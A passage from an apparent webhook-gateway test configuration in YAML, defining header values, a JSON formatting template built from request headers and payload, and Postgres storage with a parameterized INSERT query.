first 20 | value: '{{ .Outputs.secretHeader.value }}' 21 | - name: second 22 | valueFrom: 23 | staticRef: test 24 | formatting: 25 | templateString: | 26 | { 27 | "config": "{{ toJson .Config }}", 28 | "storage": {{ toJson .Storage }}, 29 | "metadata": { 30 | "model": "{{ .Request.Header | getHeader "X-Model" }}", 31 | "event": "{{ .Request.Header | getHeader "X-Event" }}", 32 | "deliveryID": "{{ .Request.Header | getHeader "X-Delivery" | default "unknown" }}" 33 | }, 34 | "payload": {{ .Payload }} 35 | } 36 | storage: 37 | - type: postgres 38 | specs: 39 | databaseUrl: 'postgresql://postgres:postgres@postgres:5432/postgres' 40 | useFormattingToPerformQuery: true 41 | query: | 42 | INSERT INTO webhooks (payload, config, storage, metadata) VALUES (:payload, :config, :storage, :metadata) 43 | args: 44 | payload: '{{ .Payload }}' 45 | config: '{{ toJson .Config }}' 46 | storage: '{{ toJson .Storage }}' 47 | metadata: | 48 | { 49 | "model": "{{ .Request.Header | getHeader "X-Model" }}", 50 | "event": "{{ .Request.Header | getHeader "X-Event" }}", 51 | "deliveryID": "{{ .Request.Header | getHeader "X-Delivery" | default "unknown" }}" 52 | } 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